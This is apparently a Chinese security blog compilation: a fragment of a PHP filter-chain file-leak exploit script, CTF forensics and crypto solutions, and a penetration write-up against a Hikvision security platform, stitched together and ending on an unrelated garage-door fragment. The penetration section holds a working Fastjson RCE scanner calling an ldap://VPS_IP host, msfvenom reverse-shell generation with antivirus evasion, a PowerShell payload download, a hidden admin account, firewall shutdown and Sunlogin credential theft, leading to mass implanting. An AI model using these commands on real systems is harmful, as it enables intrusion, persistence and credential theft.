                elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'j'
                elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'i'else:
                        err('something wrong')
        elif not req(f'{prefix}|string.tolower|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
                # I J Kif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'K'
                elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'J'
                elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'I'else:
                        err('something wrong')
        elif not req(f'{prefix}|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
                # v w xif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'x'
                elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'w'
                elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'v'else:
                        err('something wrong')
        elif not req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
                # V W Xif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'X'
                elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'W'
                elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
                        return 'V'else:
                        err('something wrong')
        elif not req(f'{prefix}|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
                # Zreturn 'Z'
        elif not req(f'{prefix}|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
                # zreturn 'z'
        elif not req(f'{prefix}|string.rot13|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
                # Mreturn 'M'
        elif not req(f'{prefix}|string.rot13|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
                # mreturn 'm'
        elif not req(f'{prefix}|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
                # yreturn 'y'
        elif not req(f'{prefix}|string.tolower|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
                # Yreturn 'Y'
        elif not req(f'{prefix}|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
                # lreturn 'l'
        elif not req(f'{prefix}|string.tolower|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
                # Lreturn 'L'
        elif not req(f'{prefix}|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
                # hreturn 'h'
        elif not req(f'{prefix}|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
                # Hreturn 'H'
        elif not req(f'{prefix}|string.rot13|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
                # ureturn 'u'
        elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
                # Ureturn 'U'
        elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                # greturn 'g'
        elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                # Greturn 'G'
        elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                # treturn 't'
        elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
                # Treturn 'T'else:
                err('something wrong')

print()
for i in range(100):
        prefix = f'{header}|{get_nth(i)}'
        letter = find_letter(prefix)
        # it's a number! check base64if letter == '*':
                prefix = f'{header}|{get_nth(i)}|convert.base64-encode'
                s = find_letter(prefix)
                if s == 'M':
                        # 0 - 3
                        prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
                        ss = find_letter(prefix)
                        if ss in 'CDEFGH':
                                letter = '0'
                        elif ss in 'STUVWX':
                                letter = '1'
                        elif ss in 'ijklmn':
                                letter = '2'
                        elif ss in 'yz*':
                                letter = '3'else:
                                err(f'bad num ({ss})')
                elif s == 'N':
                        # 4 - 7
                        prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
                        ss = find_letter(prefix)
                        if ss in 'CDEFGH':
                                letter = '4'
                        elif ss in 'STUVWX':
                                letter = '5'
                        elif ss in 'ijklmn':
                                letter = '6'
                        elif ss in 'yz*':
                                letter = '7'else:
                                err(f'bad num ({ss})')
                elif s == 'O':
                        # 8 - 9
                        prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
                        ss = find_letter(prefix)
                        if ss in 'CDEFGH':
                                letter = '8'
                        elif ss in 'STUVWX':
                                letter = '9'else:
                                err(f'bad num ({ss})')
                else:
                        err('wtf')

        print(end=letter)
        o += letter
        sys.stdout.flush()

"""
We are done!! :)
"""print()
d = b64decode(o.encode() + b'=' * 4)
# remove KR padding
d = d.replace(b'$)C',b'')
print(b64decode(d))

Misc

ez_Forensics

把镜像丢进Passwarekit​进行识别提取:

image

有第一部分的flag:flag{194a019a-1767-91

查看进程信息,发现有Winrar​:

image

filescan​一下,然后查看桌面文件:

image

提取这三个文件,其中key.rsmr​是鼠标记录

image

打开压缩包发现readme.txt​,桌面也有一个readme.txt

名字相同,怀疑是被修改了,查看编辑前的版本:

image

替换修改,打包一下:

image

CRC校验值相同,可以明文攻击

这个地方我用bkcrack​跑明文攻击,跑到100%,没找到密钥。。。

又尝试了好多压缩软件都不行,最后360压缩可以了

image

[ 6296ee7a 28ddd715 d09626ae ]

恢复解密文件,有一个table,查看hex开头是89504E47​,改后缀为png

table

然后按照鼠标画圈的顺序恢复key

​​58ccd03acfee30e4846e959acf1e0c2

顺序是:a91e37bf

volatility​提取cmd记录:

image

SET SECRET​但是不知道设置的哪个环境变量,但是查看的时候翻到了火狐浏览器的环境变量:

image

解密aes:

image

出第二部分flag:3a-f140-2626195942a0}

合并起来:

flag{194a019a-1767-913a-f140-2626195942a0}​​

Reverse

Story

源码里就有:

image

Crypto

DHRSA

因为t1和t2只可以取01,所以pq组合一共四种情况,单个来看p就只有两种情况

题目给出了62组

$$
C_i=g^{c_i}(modr)
$$

肯定有一个线性组合使得

$$
a_1c_1+……+a_nc_n=0
$$

可以凭此构造格子

然后gcd两组来求r

from Crypto.Util.number import *
from gmpy2 import *
cs = [9771395973011655803041049350400889693558053786906788399593857181577256033087775470396528142785531153656250742163382306394790826547696369519066900832598632, 8272821018041191335817314516024870641634584838709754134295649414123178842937800314505950304166260273130361466329869880024580711311122266329063823157928578, 9224196545381524434689958500941052085722509493323098161219607220849299786695264643219965900283680542442505315754998495711744726427299710433730839117822341, 1008469491610938216099437983993305774398678547360061529021095399886442276321623596589458980857784117593111375842386009804225494459153563491699302948435260, 7616413788891104674175703849368746136014029498968757620534065604935400737852925875633996435081025804169137754721194517660132118370608033038162779303724417, 7584549797616896430743312033954227311758800006881758430848397006388599762762869550122276429056861398410906389124143882721771887174154825862686488628829556, 4857850091039904852357309328743353934107579830869744999969242154323443783533786032181281694960711385606506579359066323294671727886753617501542207839926790, 4779727649310569079487754450225462592903787505885564750560744245118977747200287996364352093535624060190258736345242819222383024403591273643223505871273937, 6240985007555841990183784512088706027373526355604287377336898927100013200525239698399664369530638033756622723154794368086253680721133641187916109948879111, 1440004269550837930069561548693107407163496872089856298023372643037792305541293783438854412197014895824653797468093046886645122408623089543218627931731325, 8686467414540984479883981478664234832161994713954432326787817013306458410596539074149482305300161480885280412716015692242140611122632851558942831571969449, 6397234126429549747756931006796154340671325181680459289481852293242757656214345178451346712629678435704959420962366420623987135911533358778558089423502498, 5154817535857960073707963384183439709586920855602419290358137674661940402006427565850098044416106066822250682276679669427811522910392723378330585054966700, 6184278632740706257559650240918607859111635320246236350819849684258206208438537742565177660943106119452934940861754989735447208681922747166941649495976923, 514519457570888784111073733278759745960446948568600524535727800070517989361086156941193628192360355612444575477626855845530581162562486612799738968800436, 5311179737168594393380387500131139705986775208655298446331668896011718110177021579502837999280939324755245947626117007502618967826854797851195037805622236, 8033599809537397449739222496469120219661376235214159758353162913590149327454313351545152320436531803584693342228310830634381278274606584366951286641362730, 2051625798280743150753404437482448207490537448098276190886365473636618906352671153607072757637879642085246666882064116331781620620841788195957363592387053, 2539152850168044131443627430873275266571063321601722994164719426048365057966357258486918206613866328867765905303734883912389577646355187342721384787506424, 9008908156612389991869885743985152554064654014600155665167153423864293462953589139136986609123719868913243556793248046592418855144217044361551263069240329, 6803170457708082062222117551095454287816962526481935030699353660846602430067188624302070998045883149555451692203871683262881999463532897654910797581195808, 4342007382390611975323457544296213170925503797306373729093603079594595092127747819980737254901463722358222828653606693041546906868729342511025828114827555, 2183664030657588356550029801438062011696791479721050550709966793162412846063789309880633528422512509596396589027054806885718000781675200132948682901735072, 2676285609364173142435111238008478736925861736006673806161674291385422525644573866393884559955797190936826061311631872102982470113155601869660746965071177, 8615874523824944863326511893784594675845807173709888717969574953112250736770386882455890231726119912526638461175690953959512359266034187901901745135706561, 1922646621448654308731099545672266646199287008430733010575325812508661111446471076682347110401317422369989378526004562648871357970249460937394842515685185, 6894871210132644262428509750998583740904489962095581087369230603087765684170566562618210470507349665138476792990203975299249821414179702286974952108308908, 8398850863544147035551562678201580675747803434116699749690629994755381632713482161869699483278515661816496168924359580050657657882041095486710223992321329, 1103558165483499140082633087824207492178842328222110372040372946709534675630035763166805943256640202241094017653484224302180964104596684146937840328056737, 7616579463842058663956538981992016396022484825826970703537944742179864728054422301128359842636130918256966522509540733872238802637426513398702545806054711, 6093447739151580910739487321763042257093662388037797880895310207982236604441330252766468220299149762533760095283275798097190217074233307392113562823550055, 10465708577087930103510908920924173959169681089467884381473219422666982876773505479708456794740072800789393882374346444466352555495590221538783880064776747, 10605081135879456867591725577517023044111094541257015514457259942700651158240017447609481228325274221251138332472541861502584164767676203023712244274563455, 7012967814560006293648272691588998637134646550513726240939227681138521268647913550031357555656822375449692357834760862939125678022083697005023949012937826, 9566656433910278946608540460883633932965000205012896340833001038283123101223701427477589683926930217368102196484226996825067156057344586227513445332021767, 2721818943333539016612702886003757042711221957746352716329164140315057299599294376527853842627041607856599108409067242878086913811106172846700928991925332, 4144627466364250800792304430295727495765908688276307878705582041004315000843879026660231248370219826205974342880901591994064400526974281681872092036583360, 9540229122766028258950784907897705565229274273296271759903007071156790536497946170835990412260104194662363036458196704652014673749423907001422969301809735, 1639227724203684234308217138545474026323237719482542327552473107710807011133804919537706806005714199832933437746623612694760178087234912102227060818821785, 9812993094473406654107168236073328125261683326416570529798110665650382711989965459219636103724052319209618994008458512967332799786202713476231778145396012, 2295945877832163407010322597202468334423912618570523561408751634022642288041211919141444020534567414838616766574885544294608146290275196633317265741751883, 9510449404755931940739075753727979306152379874217663126425580183559239591750519861496413596214874972534376534993718874211977861576694865786452346685079911, 10068147483643758261431583499786421277358011934810052604576663733186448278692924596285775100821424123316623283150527146388692332413482534235601982259977735, 2631234993744978915205564833565878360368731366415913670587100334887962760531396262264711195036515169369826941240935633330766040802965514627738944637938312, 6245294849421435385844087800549243031764408455344779721346137213398733894945891825456797247066883570457936878961279970460851977076618685374684565064011000, 6360363966721028786772622616611684728619548477569800250827865049949218224355237880474537231095562612445154765235574973379248267372638478052576176958426893, 1374748162508202790788170508306104425630569793823780168413397583022077368721695853340144854392562470438547910808098360313836434314988050372444336622005939, 5923217938277229682931188522357086770659121539648879409111011010394233354709847779031983270180639474376432548198701507987857799064509215702865822042304601, 7912839476386587387207319066546154431303391126303542720169612844312157005989844595260178178012638805394179538160638000205856329132154797855491159908316825, 6989926221520213501850965026707723308003729842929136196471532798477250492469686905792383597327729987647258260679589434132606672791962970232535673677457343, 7743517306425849045036228617259140769029348885373635895025449298661791309426243487821079837754283770418719515017823088333131732906019584031613089554304420, 8228064864747011743632289680585658563799395413457976150375450901737657367769151734010130073897880115256353583883179331874018722072209939664833555092694721, 4450010894214163101815316096785687407009534536454667314772668698898901466717062024203232842836467444518468762248095700604843848000837792037078167960588129, 3345145753946526259843311380078979114463790107484347721093757348344369710001786833260087626842713916819817705043732430232104986213669502412941799451378137, 411849644960126121049073725849225927315782894933779533599764821078891693733248333351876043256232845616011887951112364725817456430915422262433159009162810, 9070143529402968690182170891432541186624926767431297375488478998005501150531907444673746153178512705131935537332064808055931815290499208703009298348987029, 8213219975300001733306975337422619448976655134956761580838409562843071867497978077677323154897320151428562911412904177153952495821256190104983710364972232, 8349268362247390165742295418698754062525395439803096486083911273583071915526604580013826747245858881943244980602181641712932537086321708434534161167021746, 7509668912649960854961670452151045790218876057511153068414836771472470302685381796706603632853037886139531473147215132055911891985689199108998563497337555, 2131204693980301034358939270790217044118874047688648828664882105193013493634681490541248365340356833966291527168399270652784557243494787018476812050661672, 94628342448609390736618683703832565995079347007818829426672834242066920587964251445868380536604059942251553430692068690115557207157069742355783092463878, 8730838489034161299210542834892857189755559366635478365056603032000438656615452617258885131782074530795256008985786448336781306335727153569211343667279688]
Cs = [8139606023160038223737079478941118590185130735073983268534523900466799026361464500424904356248753891316780445417573842978538788878976916399246204378441056, 6731047210123888962354325580924677204725121336252367061814596228770531939085170702108835833376855510135160514592212524395740859425722612967050674897558554, 8618477079542034439812499299348172601780082410118486479357089433765711733400709574657418048464225715724091467457454996920521245517408697962287328781660172, 9243753430474436162138755988303772102594989764465818886594050158035773372691908643200174705510107166901553683916448850166844368808268900160791189879886461, 5081325787403850070122342963066210472728109263877409302015934601768721956580972368361384922036489915214279268746375195256103574903758346112788101331060421, 1628416782427642576537753826054924818984220964280741905185643986017630454253562852051349318488828073385103084138926801432973213673304459124585445072035446, 1436555309056212704783260154843715809916541935750195541226776332006326501592432597657580990741764167962753224321573279559350979014777173060581697942160790, 8457854453119605903801540115672523550270614339671410689633028758723786021115482172319549655156915937495339811221100830546511268665457084873839271917131026, 7516353799796514587790845891436757011323761869044622559902758322970504358548733636938457083535644723388210752578649311718854524047992380524533863744945353, 9434919345479338423866102885320010476913815819406622512632495616332678841660980531307718949753248131094030185131327688989259983673428169616967926536549981, 2376239907248313997443412718623933371621229548870946158597654591040113647645833393016706072537549866458668992268347350086597733853645352669964694698209002, 9555521900012304016219328488701400452052438846888508591910947639752080094465009622568296701465965949214617545676819204984390042310077453137495863845140433, 10496354188266114334878155842846706785121191402898647321044421232085059338092949629088561418326794767424754926615669196297619927139682997591511869107757767, 1684156496026762626171388002895398201456656580507920519170549327618625423797366792075116257872626605002727580286505567977884867816788235806054395449066065, 5279615925666476607393445956667230310409008481693792914481184221733250114518482573243209594428350182047703213893421465095795062348864307647570060060929176, 7950931857867551139311900477185535034704935066837216411367230952920436620973145933605969605301127988180373211783836800949372831376277678318587671147544812, 7363787374432448634707849149426821610638073413299588217259428219319013703633673213128364594170782521444300561327439516770200289550957339013848496654479674, 183450164326164222959035748035117444906396515108356683081562421715885871762215055266356577117853857983960152113987173865737809535655981046541363297829205, 585756688754350904695498684365256423604945135941557021419402686079315456435190920620640430630667903578283746531894135845972607789350856875988416502844449, 9289266081720210076238040168621209559442099796466275176059195696650031235127294873962598972974303719540193547570326682610716804488839647659399702777957625, 1643238506993581048346556120580389927181837132286120379981936140856072993887401596354919001634656489755991432524216993664019969824657062288544062028928533, 493026654262682081757325540069692089465639980280029378402651778901949559259891879708898948140085681814535573742826826476110468079719504023996492906928688, 4073523873469606498132661552527997945998461149945931939857824343164584528157149801459596694594269553069502164902110100517378462894925649504277727979281804, 5526482056568056411108977820792619135217540155238365597030616097363450824489623669450770143884401364973046003465586645009073389711906524301615929500348726, 5107189939984481100533490360348985070143842143450775903588073100128259350554726370669643384672212451094463934881485403663403067465232413753838963311526164, 1338120870830450195003052688429825997002475569804112786250323375715461269426478757154438256599704658856730012976479429755682431385902070463000523922633485, 4504561167146108444334786062824835552812933921903812225075224152011097132132118554220621595724113517743942246047411740399148959904624805479075676539627179, 3703218408290286096237533977791248727917587395526646685991666829723493582004703462287201605547754231978350368593066630613342669719057740600396410750130713, 4235755736045407691815950643821304187431993958805648566903603216981196118628996746825748374999189542155866127214016604808037761824195261283013629856811915, 7613956756687648883142522461784563921781848082096750733536680658594629733709520676386003626030270049444324311590771818500145651113869039994374079094176389, 5582983596876204457658414033643566916925741632988960872444165950150568674358568563750393895942021859292068409582131557028759494904690654084568015540958387, 5560992116323139630261388939207466766129106144662938095552878745416852271253443975908911908133192704735692594156704890845632323597567684452235384416207560, 9427064851222629681715722784660850738968685559393550747518608089108082562625632566953024798342737795332503266772616759203825637407245190460310558481011553, 7751396645197086848500999313322914076346713513943719371985230447422327437680224631606199418400131531054197437203771034578401374585091741737281898844967403, 546093125292516349289304554067672438202855144942643384818235748136017154830766962667037846395737218002229971788635923471525750360984025965229960880138015, 8708958215469085753181574046119339162501035682760128157682876145155787404749378257091769354933553751411564910339364737060790592181298353503681772458140296, 6503617996420087519121999497592564753358269947368728580707909964656915488241450906561184006580947106530919025122027342914550816267613360293886470939638147, 3133970773026394333676271959039363252995983077058359556442048424274114546996306660500141330973026720710258226380296916344738000286752906153301531192145588, 8270247841707725063403103311221827713218425321540707437203780169848645054354422606444548218532045886590764337285894491599474684125156258721180140005227879, 6348941299458047229603035571553554254637277183847732341685362698641456768747093952193394610221610467378544424914425383192254952105296121873394965907483421, 5994603535835080395017357896928637354820646460778770882917760856532399920260202826867821549261784608902276626362339800015674269038970155327507870854956789, 4425254452956426634646344097191468359576571843417153278931037524323172136339917846491397351511099933539635058142094213472513676095819902241563092702688501, 2486099330626766737257165308745024530097078778638782229355520177306987440002696878039888805275868528396743863481534888478552983793450062429371941132535078, 4167116570391804600255654075462038844507091559173265725625706455067299132147050347586004334123441342458308129150386241209679630518761986850258774882817936, 10185168995554407266816276622812659886483756602705301925351101031752727294301531965596293802652862084495500685833881517475134558625964721775303100038614160, 5456722125978665120229905841107251183374955393168570741251463630873840897267613318536370613164271366075428107312082239190184994439809325775182251507346825, 2939543075586963360992868413324864290837308216610370795940797957094565066506489483089379278658514795189713701943386974203309580258770009927268150497535566, 8743821334723368976778894507033225804145157545090682229505938930782456568432992185052055300701880227956622698441050884506223378607674824402614530393729367, 9157713754021073809434421172656952683393171530300224019784181318620517764533872565796337369744270420561987117136110183189161447503240922447481705416792933, 5878746531427980282714190471263188376089128406106851686623310774890789241719381568167580210027581541900359110459878728688406025608100014784866859967415069, 4723171396311923892248342600001144805520828588734579829312137837892547473549988680030764497200183283689846461436720606808050677973475562028290802376894040, 2843792191169572505424299937637335345928688319904295706002781014868972565908100208212634694593060855068754141546774316683717972204080538819157716088784950, 5649760949181251560547472271598936178113043683541495970916235935289470274241813254378868964502496661853777833292127852117859645515779670872354035434010971, 4449864701816030502869094392702038297167798303739676692580712480289620671504896451221373121095485571657769741067946182294271935296786038388717131050743105, 6015559474636248088561229697316533148096304587912722704321346276808664704462122988070466258472892491390452320498582384705624788234989258086915479317589554, 404470006641663392206752968026191050354477219085475176007692089093673919513513760805174543858749324166919507964495235284709646802332010921978754916213842, 6400060591708772742036825960295348204573787431673486966335080578765346768135800288344580251211949027002658413241092081227396455353862253913043273557206036, 4139621554482255887742647243977351847150733617205749719993940245058866579901045219083635101090422724513229414103870573743420533567984369212416328299201648, 3168193697707475529193822215328153723009219332354194589973887573663124790963735981601241436331461792216723819214300690004321006157765917632838358657075965, 7458978598400749076925462287692314594837852961494454950837549434543148869247423634127441385921463980373281159265749886433453416941713109715452118403890765, 10491155550479668966723346610934052049109810767277413338024524325905994360818069675936484156539236718504294063495115065935392782490138348869081026608020887, 8076329104944759931627228905172809552808063163769317826043905443799635345365021015532382100166858241152720115250871898592915217180839896374819810099249842]

length=62
cs_=[]
for i in cs:
    cs_.append(i*2^17)
L = Matrix(ZZ,62,63)
for i in range(len(cs)):
    L[i,len(cs)] = cs_[i]
    L[i,i] = 1
L = L.LLL()

xx = product([ZZ(y) ^ x for x, y in zip(L[1][:-1], Cs)])
yy = product([ZZ(y) ^ x for x, y in zip(L[2][:-1], Cs)])
r = gcd(xx.numer() - xx.denom(), yy.numer() - yy.denom())
print(r)

之后用共模攻击的方式来求得g

s,s1,s2 = gcdext(cs[1], cs[2])
g = pow(Cs[1], s1, r) * pow(Cs[2], s2, r) % r
print(g)

最后尝试两种情况,求出构造pq的C的生成方式

再用离散对数求出小c即可恢复pq之一

from Crypto.Util.number import *
from gmpy2 import *
X = 197551296081022143608034360606381334253374533627365455002683616928330857539205836504075700389569213696043700490195977045586318090211726350917451410932216
W = 10625560347436147537644301075885059900758953251551866239435327407977591190018531918316486861730777808988185029637608372445416280896280058313924537678128258
c = 61040814411609979711931510878805548760848686739454567580358315369154260598969544907138563610735920809370306294050956464828615417082277087799410050319871691154003766481799397897519555113273982347768485719165972634089532894585256662433949694618032747408071953491187718726218120284389638124624152241321006634774
n = 66022752859576751705544115674843820574619778139841743306742674741819040147745776264697779394213058328572691946505564202779552568613562176486470653760142864852745249430164256770469301179840812051842363261404790355057115296671805975126795017665392798621718740402876024901551851638786170466127104615340863081593
r = 10667924450645948100608927157603781268991945924055943816082403476371801785989561454936076097627912279097114498936308342036099904242687703932444772733243819
g = 6019887080267290264230260653584196278384320835640816590398803560025633855808434001764263669714920086295176455397726166743099512294951861972283858355052731
C = (n*W)%r
c_ = discrete_log(mod(C,r),mod(g,r))

assert pow(g,c_,r)==C

#p = ZZ(C * W^1 * pow(X, c, r) % r)
p = ZZ(C * W^0 * pow(X, c_, r) % r)
q = n//p

phi=(p-1)*(q-1)
d=invert(e,phi)
m=powmod(c,d,n)
print(long_to_bytes(m))

Actual Combat | Lucky Dog

东风不与周郎便,铜雀春深锁二乔。——杜牧《赤壁》

文中内容已做脱敏处理,渗透过程已获得授权, 相关漏洞也已经修复。本文请勿转载!
(过程中只用到很简单的方法,也没啥好转载的)

信息搜集

  • 海康威视综合安防平台

    ​​image​​

  • 目录遍历

    ​​image​​

  • 业务登记中心

    ​​image​​

海康威视综合安防管理平台FastjsonRCE(CVE-2023-21839)

海康威视综合安防管理平台存在Fastjson远程命令执行漏洞 - 知乎 (zhihu.com)

# -*- encoding: utf-8 -*-
'''
@File   :   hik_fastjson_rce.py
@Time   :   2023/07/25 11:00:10
@Author :   AndyNoel
@Version:   2.0
'''
import requests
import urllib3
import urllib
import signal
import sys
import argparse
from colorama import init
from colorama import Fore
init(autoreset=True)
urllib3.disable_warnings()

header = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36",
    "Accept-Encoding": "gzip, deflate",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
    "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Content-Type":"application/json",
    "Upgrade-Insecure-Requests": "1",
    "Sec-Fetch-Mode": "navigate",
    "Sec-Fetch-Site": "cross-site",
    "Te": "trailers",
    "Sec-Fetch-User": "?1",
    "cmd":"whoami"
}
def signal_handler(sig, frame):
    print("\n[!] Ctrl+C detected. Exiting gracefully.")
    sys.exit(0)
def poc(url):
    path = "bic/ssoService/v1/applyCT"
    pocurl = str(url) + path
    data = """
    {
        "a":{
            "@type":"java.lang.Class",
            "val":"com.sun.rowset.JdbcRowSetImpl"
            },
        "b":{
            "@type":"com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName":"ldap://VPS_IP:1389/Basic/TomcatEcho",
            "autoCommit":true
        },
        "hfe4zyyzldp":"="
    }
    """
    try:
        response = requests.post(url=pocurl, data=data, headers=header, verify=False)
        # print(response.status_code)
        if response.status_code==200:
            print(response.text)
            redata = response.text.encode("utf-8")
            print(redata)
            search_string = "00215000"
            if search_string in str(redata):
                print(f"[+]{url} has the vulnerability\r\n")
            else:
                print(f"[*]{url} doesn't have the vulnerability\r\n")
        else:
            print(f"[*]{url} is not running.\r\n")
    except:
        pass
def read_url(filename):
    urls = []
    with open(filename, "r",encoding='utf-8') as file:
        for url in file:
            urls.append(url.strip())
        url = file.read()
        return urls

if __name__ == '__main__':
    filename = "url.txt"
    signal.signal(signal.SIGINT, signal_handler)
    urls = read_url(filename)
    for url in urls:
        poc(url)

VPS上开JNDIExploit服务

root@ubuntu:~/home/vul# java -jar JNDIExploit-1.4-SNAPSHOT.jar -i VPSIP
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 3456...

​​image

利用成功。

查看进程,修改"cmd":"tasklist"

image

存在McAfee、Windows Defender、CA Internet Security,比较好绕

种马

寻常msfshell会被杀掉,做一下免杀

https://github.com/Anyyy111/killEscaper

测试过,项目挺不错的,但没法过最新版火绒

  • 版本:5.0.73.7 病毒库:2023-08-03 18:33

msfvenom生成shellcode

root@ubuntu:~/home/vul# msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=IP lport=PORT -f python -a x64 > shellcode.txt

然后拷贝至同一目录,运行脚本:

root@ubuntu:~/home/vul# python killEscaper.py -a 64 -f shellcode.txt

image

将马传到vps上,python开启web服务

root@ubuntu:~/home/vul# python -m http.server PORT

或者借用 transfer隐匿VPS

Invoke-WebRequest (Microsoft.PowerShell.Utility) - PowerShell | Microsoft Learn

image

修改脚本:"cmd":"powershell Invoke-WebRequest -Uri https://url/shell.exe -Outfile shell.exe"

执行完成后dir​检查是否被杀掉:

image

shell存在

msf进行监听,反弹shell:

image

反弹成功

net user hask$ w123456! /add                  #添加hacker隐藏用户
net localgroup administrators hask$ /add

开启远程桌面连接

meterpreter > run post/windows/manage/enable_rdp

image

也可以命令行开启

image

出现乱码情况,可以chcp 65001​解决

image

关闭防火墙:

netsh advfirewall set allprofiles state off 
netsh advfirewall set currentprofile state off
netsh advfirewall set privateprofile state on

查看注册表值来确定是否开启远程桌面服务:

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

image

image

或者,使用net start​命令,查看服务方式查看远程桌面是否开启

image

通过查看注册表键值确认远程桌面的端口是否为3389

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber

​​image​​

(0xd3d是16进制的3389)

直接是SYSTEM​,可以WMIC​开启远程桌面

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

image

​修改防火墙配置,使得不过滤3389端口

 netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow 

image

后面记得要改影子账户

Windows下的影子账户创建与防范_是否存在新建用户或者影子用户排查方法_m0_46607055的博客-CSDN博客

读取Sunlogin配置文件

向日葵的几种常见配置文件存储位置:

type C:\Windows\System32\config\systemprofile\AppData\Roaming\Oray\SunloginClient\sys_config.ini
type C:\ProgramData\Oray\SunloginClient\config.ini #绿色版
type C:\Program Files\Oray\SunLogin\SunloginClient\config.ini #安装版

注册表查询

安装版:reg query HKEY_USERS.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginInfo

绿色版:reg query HKEY_USERS.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginGreenInfo

简约版:reg query HKEY_USERS.DEFAULT\Software\Oray\SunLogin\SunloginClient\SunloginLiteInfo

自从向日葵12.5版本后,原encry_pwd和fastcode字段已经不在配置文件config.ini和注册表

  • 解决方案一

    根据分析,关键信息移动至C:\ProgramData\Oray\SunloginClient\sys_config.ini​中

    此配置文件默认需要SYSTEM​权限才可以读取

    提权后拿到id和加密后的密码,经测试算法没变,通过现有项目解密即可 GitHub - wafinfo/Sunflower_get_Password: 一款针对向日葵的识别码和验证码提取工具

  • 解决方案二

    通过dump内存的方式匹配明文字符串获取

    id正则为k[0-9]{8,}密码正则为>[a-z0-9]{6},每次刷新后密码的均会保存在内存中

通过反弹shell执行whoami​直接就是SYSTEM

可以选择方案一

for /r C:/ %i in (sys_config.ini) do @echo %i

​​​image​​​

此外,

image​​

密码明文保存

解密后直接远程连接

​​​image​​

后续

​​image

入侵检测没有检测到

​​image

可以利用软件包管理实现批量上马

​​​image​​​

自此所有机器沦陷

芝麻开门🚗

原文链接🔗:https://samy.pl/opensesame
成功开门放在了最后的动图

​​车库密码系统

